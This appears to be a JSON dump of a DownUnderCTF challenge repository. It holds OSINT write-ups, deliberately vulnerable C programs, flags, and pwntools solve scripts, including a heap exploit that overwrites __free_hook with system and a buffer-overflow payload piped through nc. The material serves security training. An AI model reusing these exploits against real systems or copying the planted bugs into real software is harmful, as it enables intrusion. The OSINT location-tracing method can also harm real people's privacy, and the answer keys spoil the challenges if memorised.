    "content": "# Sharing is Caring\n\nWe are given a username alex_elgato93, and a hint that the user might have made a mistake up somewhere in their social media posts. We need to find the street closest to their location.\n\nThe first step is to use a username lookup tool to search up accounts with the username **alex_elgato93**. This will return the following accounts, which all seem to be owned by the same person, with the same display picture.\n\n- https://www.twitch.tv/alex_elgato93\n- https://twitter.com/alex_elgato93\n- https://www.pinterest.com.au/alex_elgato93/\n- https://steamcommunity.com/id/alex_elgato93\n\nThese accounts reveal alex_elgato93's name to be Alexandros Elgato.\n\nAlexandros seems to be the most active on his twitter account.\nIf you check his steam account, you can see he previously used his full name as his username: **alexandros-elgato**.\n\nIf you look up the username alexandros-elgato you will find some more accounts:\n\n- https://github.com/alexandros-elgato\n- https://www.reddit.com/user/alexandros-elgato\n\nReddit seems to be the place Alexandros is the second most active.\n\nAfter exploring the various posts Alexandros has made, you will find a post with a screenshot of a Kali VM open in VirtualBox.\n\nIn the screenshot Alexandros has various windows open, unintentionally including ARP command output with a MAC address: **DE:73:2C:6C:1B:C1**\n\nSearching this MAC address up with https://wigle.net/ will show that Alexandros has connected to an access point at a location (randomly chosen by us) in NSW. The road that Alexandros is closes to according to Wigle is Charles McIntosh Pkwy.\n\nWe'll end up with one of the following two flags:\n- *DUCTF{charles_mcintosh_pkwy}*\n- *DUCTF{charles_mcintosh_parkway}*\n\nNote: The flag for this challenge was initially incorrectly set as DUCTF{charles_mckintosh_parkway}. This was identified and resolved within 30 minutes of challenge release, and a notification was sent out on discord and CTFd."
  },
  {
    "path": "osint/the_internet_is_written_in_ink/README.md",
    "content": "# The Internet is Written In Ink\n**Category:** OSINT\n\n**Difficulty:** Easy\n\n**Author:** Crem\n\nOne of the interns, Ducky, accidentally posted DUCTF data publicly, he said he was successful in scrubbing it from what he called \"CTF clock\" and mentioned the number four hundred and four ¯\\_(ツ)_/¯. \nDucky wouldn't screw up twice would he?\n\nPut the flag inside DUCTF flag format: DUCTF{<FLAG>}\n\n\n"
  },
  {
    "path": "osint/the_internet_is_written_in_ink/WRITEUP.md",
    "content": "# The Internet is Written In Ink\n\nThis is an easy OSINT challenge which revolves around using the Wayback Machine.\n\nIn the challenge description and title it alludes to data not being erased from the internet which usually incidates using the Wayback Machine to see what was there in the first place. Additionally, \nDucky, was using something called \"CTF clock\" which alludes to \"CTFTime\".\n\nIf you look up, our CTFTime event link (https://ctftime.org/event/1312) in the Wayback Machine  (https://web.archive.org/web/*/http://ctftime.org/event/1312). You will see there was a snapshot taken on the 14 of March that says `Ok, ok — here is your flag: a5abef5222adc680a453607384bcb4d2`.\n\nYou take this flag from and put it inside the DUCTF flag format and you have the flag!\n\nFlag: `DUCTF{a5abef5222adc680a453607384bcb4d2}`"
  },
  {
    "path": "osint/the_internet_is_written_in_ink/challenge.yml",
    "content": "version: \"0.1\"\nid: the-internet-is-written-in-ink\nname: The Internet is Written in Ink\ncategory: OSINT\ndescription: >\n  One of the interns, Ducky, accidentally posted DUCTF data publicly, he said he was successful in scrubbing it from what he called \"CTF clock\" and mentioned the number four hundred and four ¯\\\\_(ツ)_/¯. \n\n\n  Ducky wouldn't screw up twice would he?\n\n\n  Author: Crem\n\ntags:\n  - easy\n\nflags:\n  - DUCTF{a5abef5222adc680a453607384bcb4d2}\n"
  },
  {
    "path": "pwn/babygame/Dockerfile",
    "content": "FROM ghcr.io/downunderctf/docker-vendor/nsjail:ubuntu-21.04\n\nCOPY ./challenge/nsjail.cfg /home/ctf/\nCOPY ./challenge/flag.txt /home/ctf/chal/flag.txt\nCOPY ./challenge/babygame /home/ctf/chal/pwn\n"
  },
  {
    "path": "pwn/babygame/README.md",
    "content": "# babygame\n\n**Category:** pwn\n\n**Difficulty:** easy\n\n**Author:** grub\n\nNot your typical shell game...\n\n**Attached files:**\n- ./challenge/babygame (sha256: 96a8164b620f6f5067903a106557f9b1307797641e2caf3e77e9a09faf0e7fe7)\n"
  },
  {
    "path": "pwn/babygame/challenge/babygame.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <unistd.h>\n\nchar   NAME[32];\nchar*  RANDBUF;\n\nvoid init();\nvoid print_username();\nvoid set_username();\nint get_num();\nvoid print_menu();\nvoid game();\n\n\nint main() {\n\tinit();\n    printf(\"Welcome, what is your name?\\n\");\n    read(0, NAME, 32);\n    RANDBUF = \"/dev/urandom\";\n\n    while (1) {\n        print_menu();\n        int c = get_num();\n        switch (c) {\n            case 1:\n                set_username();\n                break;\n            case 2:\n                print_username();\n                break;\n            case 1337:\n                game();\n                break;\n            default:\n                printf(\"Invalid choice.\\n\");\n        }\n    }\n}\n\n\nvoid init() {\n\tsetvbuf(stdin, 0, 2, 0);\n\tsetvbuf(stdout, 0, 2, 0);\n}\n\n\nint get_num() {\n    char num[12];\n    read(0, num, 11);\n    return atoi(num);\n}\n\n\nvoid print_menu() {\n    printf(\"1. Set Username\\n\");\n    printf(\"2. Print Username\\n\");\n    printf(\"> \");\n}\n\n\nvoid set_username() {\n    printf(\"What would you like to change your username to?\\n\");\n    fread(NAME, 1, strlen(NAME), stdin);\n}\n\n\nvoid print_username() {\n    puts(NAME);\n}\n\n\nvoid game() {\n    FILE* fd = fopen(RANDBUF, \"rb\");\n    char buf[4];\n    fread(buf, 1, 4, fd);\n\n    printf(\"guess: \");\n    int guess = get_num();\n\n    if (guess == *(int*)buf) {\n        system(\"/bin/sh\");\n    }\n}\n"
  },
  {
    "path": "pwn/babygame/challenge/flag.txt",
    "content": "DUCTF{whats_in_a_name?_5aacfc58}\n"
  },
  {
    "path": "pwn/babygame/challenge/nsjail.cfg",
    "content": "description: \"Default nsjail configuration for pwnable-style CTF task.\"\n\nmode: LISTEN\nuidmap {inside_id: \"1000\"}\ngidmap {inside_id: \"1000\"}\n\n# jail config\ncwd: \"/chal\"\nhostname: \"challenge\"\n\n# network config\nbindhost: \"0.0.0.0\"\nmax_conns_per_ip: $MAX_CONNS_PER_IP\nport: $PORT\n\n# limits\nmount_proc: $MOUNT_PROC\ntime_limit: 600\ncgroup_mem_max: $MAX_MEMORY\ncgroup_pids_max: $MAX_PIDS\ncgroup_cpu_ms_per_sec: $CPU_SHARES_MS\n\nmount: [\n  {\n    src: \"/home/ctf/chal\"\n    dst: \"/chal\",\n    is_bind: true,\n    rw: false\n  },\n  {\n    src: \"/bin\",\n    dst: \"/bin\",\n    is_bind: true,\n    rw: false\n  },\n  {\n    src: \"/lib\",\n    dst: \"/lib\",\n    is_bind: true,\n    rw: false\n  },\n  {\n    src: \"/lib64\",\n    dst: \"/lib64\",\n    is_bind: true,\n    rw: false\n  },\n  {\n    src: \"/usr\",\n    dst: \"/usr\",\n    is_bind: true,\n    rw: false\n  },\n  {\n    src: \"/dev/urandom\",\n    dst: \"/dev/urandom\",\n    rw: false,\n    is_bind: true\n  }\n]\n\nexec_bin {\n  path: \"/chal/pwn\"\n}\n"
  },
  {
    "path": "pwn/babygame/challenge.yml",
    "content": "version: \"0.1\"\nid: babygame\nname: babygame\ncategory: pwn\ndescription: >\n  Not your typical shell game...\n\n\n  Author: grub\n\nconnection_info: nc ${host} ${port}\n\nfiles:\n  - ./challenge/babygame\n\ntags:\n  - easy\n\nflags:\n  - DUCTF{whats_in_a_name?_5aacfc58}\n"
  },
  {
    "path": "pwn/babygame/solve/solve.py",
    "content": "# solve script written by joseph\n\nfrom pwn import *\n\nconn = remote('0.0.0.0', 1337)\n\n# fill the NAME buffer all the way so strlen catches the\n# adjacent RANDBUF bytes\nconn.sendafter('?\\n', 'A'*32)\n\n# leak a binary address by reading the NAME\nconn.sendlineafter('> ', '2')\nbin_base = u64(conn.recvline()[32:-1].ljust(8, b'\\x00')) - 0x2024\nlog.success('binary base: ' + hex(bin_base))\n\nNAME = bin_base + 0x40a0\n\n# overwrite RANDBUF with a pointer to NAME, and write /bin/sh to\n# name so the /bin/sh binary is read when we play the game\nconn.sendlineafter('> ', '1')\nconn.sendafter('?\\n', b'/bin/sh\\x00'.ljust(32, b'A') + p64(NAME)[:6])\n\n# play game and easily win, since the \"random\" bytes are just the\n# first four bytes of the ELF header\nconn.sendlineafter('> ', '1337')\nconn.sendlineafter('guess: ', str(u32(b'\\x7fELF')))\n\nconn.interactive()\n"
  },
  {
    "path": "pwn/deadcode/Dockerfile",
    "content": "FROM ghcr.io/downunderctf/docker-vendor/nsjail:ubuntu-18.04\nWORKDIR /home/ctf/chal\nCOPY ./challenge/deadcode pwn\nCOPY ./challenge/flag.txt ."
  },
  {
    "path": "pwn/deadcode/README.md",
    "content": "# deadcode\t\n\n**Category:** pwn\n\n**Difficulty:** Beginner\n\n**Author:** xXl33t_h@x0rXx\n\nI'm developing this new application in C, I've setup some code for the new features but it's not (a)live yet.\n\n**Attached files:**\n\n- ./challenge/deadcode (sha256: 78efa3c404724b5e3f3e33c8efac4154cec32a40eca6f9f9c48dd4df5070561a)\n"
  },
  {
    "path": "pwn/deadcode/WRITEUP.md",
    "content": "# deadcode solution\n## Solving the challenge\n### Identify the vulnerability\nThe source code wasn't provided for the challenge requiring the use of a decompiler or disassembler such as Ghidra, radare, ida or objdump. After reverse engineering the binary, it is evident through the use of the unsafe function `gets` in combination with a fixed size char array `feature[16]` that the code is vulnerable to a buffer overflow.\n\nThe binary features a section of code that isn't reachable through normal execution which is called 'deadcode', it's here that the system calls '/bin/sh' which spawns a bin shell. This is referenced in the challenge description by noting the \"code isn't (a)live yet\". \n\n### Exploit time\nAfter identifying the value we need to set `long code` to access the deadcode and the size of the char array that the gets stores its value in (16 chars/bytes), we can start to build our exploit. By using 16 'A's we can fill the char array, then we have to overwrite the base pointer (RBP) which is 8 bytes, we can use 8 'B's to denote this. Finally, in little endian format we can overwrite the long variable `code` stored on the stack, this is: \\xde\\xc0\\xad\\xde. \n\nPiecing this all together, we get `AAAAAAAAAAAAAAAABBBBBBBB\\xde\\xc0\\xad\\xde`. This can either be put into a solve script or exploited using echo as shown below.\n\n## Exploit:\nLocal execution:\n\n```\n(echo -e \"AAAAAAAAAAAAAAAABBBBBBBB\\xde\\xc0\\xad\\xde\";cat)  | ./deadcode\n```\n\nRemote execution:\n\n```\n(echo -e \"AAAAAAAAAAAAAAAABBBBBBBB\\xde\\xc0\\xad\\xde\";cat) | nc <host> <port>\n```\n"
  },
  {
    "path": "pwn/deadcode/challenge/deadcode.c",
    "content": "#include <stdio.h>\n\nvoid buffer_init() {\n\tsetbuf(stdout, NULL);\n\tsetbuf(stdin, NULL);\n\tsetbuf(stderr, NULL);\n}\n\nint main(void) {\n\tlong code = 0;\n\tchar feature[16];\n\t\n\tbuffer_init();\n\tprintf(\"\\nI'm developing this new application in C, I've setup some code for the new features but it's not (a)live yet.\\n\");\n\tprintf(\"\\nWhat features would you like to see in my app?\\n\");\n\n\tgets(feature);\n\n\tif(code == 0xdeadc0de) {\n\t\tprintf(\"\\n\\nMaybe this code isn't so dead...\\n\");\n\t\tsystem(\"/bin/sh\");\n\t  }\n}"
  },
  {
    "path": "pwn/deadcode/challenge/flag.txt",
    "content": "DUCTF{y0u_br0ught_m3_b4ck_t0_l1f3_mn423kcv}"
  },
  {
    "path": "pwn/deadcode/challenge.yml",
    "content": "version: \"0.1\"\nid: deadcode\nname: deadcode\ncategory: pwn\ndescription: |\n  I'm developing this new application in C, I've setup some code for the new features but it's not (a)live yet.\n\n  Author: xXl33t_h@x0rXx\n\nconnection_info: nc ${host} ${port}\n\ntags:\n  - beginner\n\nfiles:\n  - ./challenge/deadcode\n\nflags:\n  - DUCTF{y0u_br0ught_m3_b4ck_t0_l1f3_mn423kcv}\n"
  },
  {
    "path": "pwn/ductfnote/Dockerfile",
    "content": "FROM ghcr.io/downunderctf/docker-vendor/nsjail:ubuntu-21.04\n\nRUN apt update && apt install patchelf -y && rm -rf /var/lib/apt/lists/*\n\nCOPY ./challenge/libc-2.31.so /home/ctf/chal/libc.so.6\nCOPY ./challenge/ld-2.31.so /home/ctf/chal/ld-2.31.so\nCOPY ./challenge/flag.txt /home/ctf/chal/flag.txt\nCOPY ./challenge/ductfnote /home/ctf/chal/pwn\nRUN patchelf --set-rpath /chal/ --set-interpreter /chal/ld-2.31.so /home/ctf/chal/pwn\n"
  },
  {
    "path": "pwn/ductfnote/README.md",
    "content": "# DUCTFnote\n\n**Category:** pwn\n\n**Difficulty:** hard\n\n**Author:** grub\n\nYou only get OneNote\n\n**Attached files:**\n- ./challenge/ductfnote (sha256: 0adf7d157a52f647c71e3837f826dc7f7e419064a518d917a5a0d9338fcbb096)\n- ./challenge/ductfnote.c (sha256: b8bdf3973e09adfbe7d7a39b7d6c9821004cffd4c9c24257fbd0440c87a105d7)\n- ./challenge/libc.so.6 (sha256: 09d4dc50d7b31bca5fbbd60efebe4ce2ce698c46753a7f643337a303c58db541)\n"
  },
  {
    "path": "pwn/ductfnote/challenge/ductfnote.c",
    "content": "#include <stdlib.h>\n#include <stdio.h>\n#include <malloc.h>\n\n\ntypedef struct param {\n\tunsigned int maxsize;\n} param_t;\n\ntypedef struct datanote {\n\tunsigned int size;\n\tchar data;\n} datanote_t;\n\nvoid init();\nvoid welcome();\nvoid print_menu();\ndatanote_t * create_note(unsigned int size, param_t* params);\nvoid show_note(datanote_t * note);\nvoid edit_note(datanote_t * note);\n\n\nint main() {\n\tinit();\n\twelcome();\n\n\tint choice;\n\tdatanote_t* note = NULL;\n\tparam_t*  params = (param_t*)malloc(sizeof(param_t));\n\tparams->maxsize = 0x7f;\n\n\twhile(1) {\n\t\tprint_menu();\n\n\t\tscanf(\"%d\", &choice);\n\t\tgetchar();\n\t\tprintf(\"\\n\");\n\t\tswitch (choice) {\n\t\t\tcase 1:\n\t\t\t\tprintf(\"Size: \");\n\t\t\t\tunsigned int size;\n\t\t\t\tscanf(\"%d\", &size);\n\t\t\t\tgetchar();\n\t\t\t\tnote = create_note(size, params);\n\t\t\t\tbreak;\n\t\t\tcase 2:\n\t\t\t\tshow_note(note);\n\t\t\t\tbreak;\n\t\t\tcase 3:\n\t\t\t\tedit_note(note);\n\t\t\t\tbreak;\n\t\t\tcase 4:\n\t\t\t\tfree(note);\n\t\t\t\tnote = 0;\n\t\t\t\tbreak;\n\t\t\tdefault:\n\t\t\t\tprintf(\"Invalid option.\\n\");\n\t\t}\n\t}\n\n\treturn 0;\n}\n\n\nvoid init() {\n    setvbuf(stdout, 0, 2, 0);\n    setvbuf(stdin, 0, 2, 0);\n}\n\n\nvoid welcome() {\n\tprintf(\"\t                           %%%%%%%%%%%%%%%%%%                         \\n\");\n\tprintf(\"                 %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%                         \\n\");\n\tprintf(\"            %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%..............%%%%%%%%       \\n\");\n\tprintf(\"            %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%                 ,%%      \\n\");\n\tprintf(\"            %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%       ,%%      \\n\");\n\tprintf(\"            %%%%%%%%%%%%%%%%       %%%%%%%%%%%%%%%%%%%%%%%%%%                 ,%%      \\n\");\n\tprintf(\"            %%%%%%%%%%%%%%%%  %%%%%%%%   %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%       ,%%      \\n\");\n\tprintf(\"            %%%%%%%%%%%%%%%%  %%%%%%%%%%\\\\  %%%%%%%%%%%%%%%%%%%%              %%%%##%%      \\n\");\n\tprintf(\"            %%%%%%%%%%%%%%%%  %%%%%%%%%%%%\\\\  %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%    %%%% ,%%      \\n\");\n\tprintf(\"            %%%%%%%%%%%%%%%%  %%%%%%%%%%%%%%  %%%%%%%%%%%%%%%%%%              %%%% ,%%      \\n\");\n\tprintf(\"            %%%%%%%%%%%%%%%%  %%%%%%%%%%%%%%  %%%%%%%%%%%%%%%%%%              %%%%%%%%%%      \\n\");\n\tprintf(\"            %%%%%%%%%%%%%%%%  %%%%%%%%%%%%%%  %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%    %%%% ,%%      \\n\");\n\tprintf(\"            %%%%%%%%%%%%%%%%  %%%%%%%%%%%%/ %%%%%%%%%%%%%%%%%%%%              %%%% ,%%      \\n\");\n\tprintf(\"            %%%%%%%%%%%%%%%%  %%%%%%%%/  %%%%%%%%%%%%%%%%%%%%%%..........\\n\");\n\tprintf(\"            %%%%%%%%%%%%%%%%       %%%%%%%%%%%%%%%%%%%%%%%%%%              %%%% ,%%      \\n\");\n\tprintf(\"            %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%              %%%% ,%%      \\n\");\n\tprintf(\"            %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%         \\n\");\n\tprintf(\"                  %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%                         \\n\");\n\tprintf(\"                                 %%%%%%%%%%%%%%\\n\\n\");\n\n\n\tprintf(\"      *******************************************\\n\");\n\tprintf(\"      *                DUCTFnote                *  \\n\");\n\tprintf(\"      *******************************************\\n\\n\");\n}\n\n\nvoid print_menu() {\n\tprintf(\"\\n\");\n\tprintf(\"1. Create Note\\n\");\n\tprintf(\"2. Show Note\\n\");\n\tprintf(\"3. Edit Note\\n\");\n\tprintf(\"4. Delete Note\\n\");\n\tprintf(\">> \");\n}\n\n\ndatanote_t * create_note(unsigned int size, param_t *params) {\n\tif (size > params->maxsize) {\n\t\tprintf(\"Note too big.\\n\");\n\t\treturn 0;\n\t}\n\tint allocsize = size | 0x80;\n\tdatanote_t * note = (datanote_t*)malloc(allocsize + 8);\n\tnote->size = size;\n\treturn note;\n}\n\n\nvoid show_note(datanote_t * note) {\n\tif(!note) {\n\t\tprintf(\"No Note.\\n\");\n\t\treturn;\n\t}\n\n\tprintf(\"<------------ NOTE 1 ------------>\\n\");\n\tfwrite(&(note->data), note->size, 1, stdout);\n\tprintf(\"\\n\");\n\tprintf(\"<-------------------------------->\\n\");\n\tprintf(\"\\n\");\n}\n\n\nvoid edit_note(datanote_t * note) {\n\tif(!note) {\n\t\tprintf(\"No Note.\\n\");\n\t\treturn;\n\t}\n\n\tsigned char idx = 0;\n\twhile(idx <= note->size) {\n\t\t*(&(note->data)+idx) = fgetc(stdin);\n\t\tif (*(&(note->data)+idx) == '\\n') {*(&(note->data)+idx) = '\\0'; break;}\n\t\tidx++;\n\t}\n}\n"
  },
  {
    "path": "pwn/ductfnote/challenge/flag.txt",
    "content": "DUCTF{n0w_you_4r3_r34dy_f0r_r34l_m$_0d4y}\n"
  },
  {
    "path": "pwn/ductfnote/challenge.yml",
    "content": "version: \"0.1\"\nid: ductfnote\nname: DUCTFnote\ncategory: pwn\ndescription: |\n  You only get OneNote\n\n  Author: grub\n\nconnection_info: nc ${host} ${port}\n\nfiles:\n  - ./challenge/ductfnote\n  - ./challenge/ductfnote.c\n  - ./challenge/libc-2.31.so\n\ntags:\n  - hard\n\nflags:\n  - DUCTF{n0w_you_4r3_r34dy_f0r_r34l_m$_0d4y}\n"
  },
  {
    "path": "pwn/ductfnote/solve/solve.py",
    "content": "#!/usr/bin/python3\n#coding=utf-8\n\n\nfrom pwn import *\n\nexe = ELF(\"../challenge/ductfnote\")\nlibc = ELF(\"../challenge/libc-2.31.so\")\n\n\nis_local = False\nis_remote = False\n\nif len(sys.argv) == 1:\n    is_local = True\n    p = process([exe.path])\n    \nelif len(sys.argv) > 1:\n    is_remote = True\n    if len(sys.argv) == 3:\n        host = sys.argv[1]\n        port = sys.argv[2]\n    else:\n        host, port = sys.argv[1].split(':')\n    p = remote(host, port)\n    \n\n\n\ncontext.log_level = 'info'\n\nse      = lambda data               :p.send(data) \nsa      = lambda delim,data         :p.sendafter(delim, data)\nsl      = lambda data               :p.sendline(data)\nsla     = lambda delim,data         :p.sendlineafter(delim, data)\nsea     = lambda delim,data         :p.sendafter(delim, data)\nrc      = lambda numb=4096          :p.recv(numb)\nru      = lambda delims, drop=True  :p.recvuntil(delims, drop)\nuu32    = lambda data               :u32(data.ljust(4, b'\\0'))\nuu64    = lambda data               :u64(data.ljust(8, b'\\0'))\n\n\ndef debug(cmd=''):\n    if is_local: gdb.attach(p,cmd)\n\n\n\n# allocate 0x7f chunk and corrupt the maxsize, then free the chunk\n\nsla(\">>\", '1')\nsla(\"Size: \", str(0x7f))\nsla(\">>\", '3')\n\n\n\nsl(p64(0)*26 + p32(0) + p64(0x21) + b'\\xff'*2)\nsla(\">>\", '4')\n\n\n\n# allocate a bigger chunk (so that it isnt serviced by the above freed chunk, need to save this chunk for later)\nsla(\">>\", '1')\nsla(\"Size:\", str(0x100))\n#free it to tcache (heap pointers now in the chunk)\nsla(\">>\", '4')\n\n\n\n# recover the original chunk, corrupt its size to get OOB read and read a heap pointer\nsla(\">>\", '1')\nsla(\"Size:\", str(0x7f))\nsla(\">>\", '3')\nsl(p64(0)*26 + p32(0) + p64(0x21) + p64(0xffff)  + p64(0)*2 + p64(0x110) + b'\\xff\\x0f')\nsla(\">>\", '2')\n\n\np.recvline()\np.recvline()\nleak = p.recvline();\nleak = uu64(leak[276:283])\n\np.recvline()\nsla(\">>\", '4')\n\nmy_chunk = leak + (0x5571a13492c0 - 0x5571a1349010)\n\nbig_chunk = leak + 0x550\n\n\nlog.info(f\"big chunk: {hex(big_chunk)}\")\n\n#create an unsortedbin sized chunk and a buffer chunk to prevent consolidation:\n\n\nsla(\">>\", '1')\nsla(\"Size:\", str(0x1000))\n\n\n\n# this chunk acts as a buffer, but is also the biggest tcache size chunk we can make, so we use it for the arb write:\n\nsla(\">>\", '1')\nsla(\"Size:\", str(0x370))\n\nsla(\">>\", '4')\n\n\n\n# we replace the pointer with the unsortedbin pointer so that we can free it\n\nsla(\">>\", '1')\nsla(\"Size:\", str(0x7f))\nsla(\">>\", '3')\nsl(p64(0)*23 + p32(0) + p64(big_chunk))\nsla(\">>\", '4')\n\n\n#retrieve unsorted bin allocation and free it. Now we have a chunk with libc addresses \nsla(\">>\", '1')\nsla(\"Size:\", str(0x370))\nsla(\">>\", '4')\n\n# perform the OOB read (same as above)\nsla(\">>\", '1')\nsla(\"Size:\", str(0x7f))\nsla(\">>\", '3')\nsl(p64(0)*26 + p32(0) + p64(0x21) + p64(0xffff) + p64(0)*2 + p64(0x110) + b'\\xff\\x0f')\n\n\nsla(\">>\", '2')\n\n\np.recvline()\np.recvline()\n\n\n\n\nleak = p.recvline();\nleak = uu64(leak[668:675]) - (0x7fec2b9c6be0 - 0x00007fec2b7db000)\n\nlibc.address = leak\nsla(\">>\", '4')\n\n\nlog.info(f\"libc: {hex(libc.address)}\")\n\n\n\n# allocate this largest tcache bin again\nsla(\">>\", '1')\nsla(\"Size:\", str(0x370))\nsla(\">>\", '4')\n\n\n#replace it with free_hook\nsla(\">>\", '1')\nsla(\"Size:\", str(0x7f))\nsla(\">>\", '3')\nsl(p64(0)*23 + p32(0) + p64(libc.symbols['__free_hook'] - 4))\nsla(\">>\", '4')\n\n\n#write system to free_hook\nsla(\">>\", '1')\nsla(\"Size:\", str(0x370))\nsla(\">>\", '3')\nsl(p64(libc.symbols['system']))\n\n\n\n\n# create an allocation and place /bin/sh at its beginning. \nsla(\">>\", '1')\nsla(\"Size:\", str(0x170))\nsla(\">>\", '3')\n\n\n\nsl(p32(0) + p64(0) * 30 + p64(201) +  b\"/bin/sh\")\nsla(\">>\", '4')\n\n\np.interactive()\n"
  },
  {
    "path": "pwn/encrypted-note/Dockerfile",
    "content": "FROM ghcr.io/downunderctf/docker-vendor/nsjail:ubuntu-21.04\n\nCOPY ./challenge/nsjail.cfg /home/ctf/\nCOPY ./challenge/flag.txt /home/ctf/chal/\nCOPY ./challenge/encrypted_note /home/ctf/chal/pwn\n"
  },
  {
    "path": "pwn/encrypted-note/README.md",
    "content": "# encrypted note\n\n**Category:** pwn\n\n**Difficulty:** medium-hard\n\n**Author:** joseph#8210\n\nEncrypted notepad as a service...\n\n`<REMOTE IP> <PORT>`\n\n**Attached files:**\n- ./challenge/encrypted_note (sha256: 4f5e8fc9c0ac52a07c7e65979795c0143da1c4531ceb9bfc328f91e5079f01cc)\n"
  },
  {
    "path": "pwn/encrypted-note/challenge/encrypted_note.c",
    "content": "#include <stdio.h>\n#include <fcntl.h>\n#include <unistd.h>\n#include <string.h>\n#include <stdlib.h>\n\n#define BLOCK_SIZE 8\n#define MAX_NUM_BLOCKS 11\n#define NOTE_SIZE 88\n\nunsigned long X, A, B;\n\nvoid init() {\n\tsetvbuf(stdout, 0, 2, 0);\n\tsetvbuf(stdin, 0, 2, 0);\n\tint fd = open(\"/dev/random\", 'r');\n\tread(fd, &X, 8);\n\tread(fd, &A, 8);\n\tread(fd, &B, 8);\n\tA |= 5;\n\tB |= 1;\n}\n\nint read_int() {\n\tchar buf[10];\n\tread(0, buf, 9);\n\treturn atoi(buf);\n}\n\nint menu() {\n\tputs(\"1. Write note\");\n\tputs(\"2. Read note\");\n\tputs(\"3. Append to note\");\n\tputs(\"0. Quit\");\n\tprintf(\"> \");\n\tint choice = read_int();\n\treturn choice;\n}\n\nlong lcg_next() {\n\tX = A * X + B;\n\treturn X;\n}\n\nvoid encrypt(char* pt) {\n\tint num_blocks = strlen(pt) / BLOCK_SIZE;\n\tif(strlen(pt) % BLOCK_SIZE > 0) {\n\t\tnum_blocks++;\n\t}\n\tif(num_blocks > MAX_NUM_BLOCKS) {\n\t\tnum_blocks = MAX_NUM_BLOCKS;\n\t}\n\tunsigned long* ct = (unsigned long*)pt;\n\tfor(int i = 0; i < num_blocks; i++) {\n\t\t*(unsigned long*)(ct + i) = *(ct + i) ^ lcg_next();\n\t}\n}\n\nvoid write_note(char* note) {\n\tmemset(note, 0, NOTE_SIZE);\n\tprintf(\"Enter note contents: \");\n\tread(0, note, NOTE_SIZE);\n\tencrypt(note);\n}\n\nvoid read_note(char* note) {\n\tfor(int i = 0; i < strlen(note); i++) {\n\t\tprintf(\"%02x\", *(unsigned char*)(note + i));\n\t}\n\tprintf(\"\\n\");\n}\n\nvoid append_to_note(char* note) {\n\tif(*(note + NOTE_SIZE - 1) > '\\0') {\n\t\tputs(\"Note is full!\");\n\t\treturn;\n\t}\n\tchar* app = (char*) malloc(BLOCK_SIZE);\n\tprintf(\"Enter note contents to append: \");\n\tread(0, app, BLOCK_SIZE);\n\tchar* dest = strchr(note, '\\0');\n\tstrncpy(dest, app, BLOCK_SIZE);\n\tdest[BLOCK_SIZE - 1] = '\\0';\n\tencrypt(dest);\n}\n\nvoid win() {\n\tsystem(\"/bin/sh\");\n}\n\nvoid vuln() {\n\tchar note[NOTE_SIZE];\n\tint choice;\n\n\twhile(1) {\n\t\tchoice = menu();\n\t\tswitch(choice) {\n\t\t\tcase 0:\n\t\t\t\treturn;\n\t\t\tcase 1:\n\t\t\t\twrite_note(note);\n\t\t\t\tbreak;\n\t\t\tcase 2:\n\t\t\t\tread_note(note);\n\t\t\t\tbreak;\n\t\t\tcase 3:\n\t\t\t\tappend_to_note(note);\n\t\t\t\tbreak;\n\t\t\tdefault:\n\t\t\t\tputs(\"Invalid choice\");\n\t\t}\n\t}\n}\n\nint main() {\n\tinit();\n\tvuln();\n}\n\n"
  },
  {
    "path": "pwn/encrypted-note/challenge/flag.txt",
    "content": "DUCTF{c4n_1_g3t_a_p1zza_th4t_1s_h4lf_p3pper0n1_4nd_h4lf_ch33s3_ple4se!}\n"
  },
  {
    "path": "pwn/encrypted-note/challenge/nsjail.cfg",
    "content": "description: \"Default nsjail configuration for pwnable-style CTF task.\"\n\nmode: LISTEN\nuidmap {inside_id: \"1000\"}\ngidmap {inside_id: \"1000\"}\n\n# jail config\ncwd: \"/chal\"\nhostname: \"challenge\"\n\n# network config\nbindhost: \"0.0.0.0\"\nmax_conns_per_ip: $MAX_CONNS_PER_IP\nport: $PORT\n\n# limits\nmount_proc: $MOUNT_PROC\ntime_limit: 600\ncgroup_mem_max: $MAX_MEMORY\ncgroup_pids_max: $MAX_PIDS\ncgroup_cpu_ms_per_sec: $CPU_SHARES_MS\n\nmount: [\n  {\n    src: \"/home/ctf/chal\"\n    dst: \"/chal\",\n    is_bind: true,\n    rw: false\n  },\n  {\n    src: \"/bin\",\n    dst: \"/bin\",\n    is_bind: true,\n    rw: false\n  },\n  {\n    src: \"/lib\",\n    dst: \"/lib\",\n    is_bind: true,\n    rw: false\n  },\n  {\n    src: \"/lib64\",\n    dst: \"/lib64\",\n    is_bind: true,\n    rw: false\n  },\n  {\n    src: \"/usr\",\n    dst: \"/usr\",\n    is_bind: true,\n    rw: false\n  },\n  {\n    src: \"/dev/random\",\n    dst: \"/dev/random\",\n    rw: false,\n    is_bind: true\n  }\n]\n\nexec_bin {\n  path: \"/chal/pwn\"\n}\n"
  },
  {
    "path": "pwn/encrypted-note/challenge.yml",
    "content": "version: \"0.1\"\nid: encrypted-note\nname: encrypted note\ncategory: pwn\ndescription: >\n  Encrypted notepad as a service...\n\n\n  Author: joseph#8210\n\nconnection_info: nc ${host} ${port}\n\ntags:\n  - hard\n  - crypto\n\nfiles:\n  - ./challenge/encrypted_note\n\nflags:\n  - DUCTF{c4n_1_g3t_a_p1zza_th4t_1s_h4lf_p3pper0n1_4nd_h4lf_ch33s3_ple4se!}\n"
  },
  {
    "path": "pwn/encrypted-note/solve/solve.py",
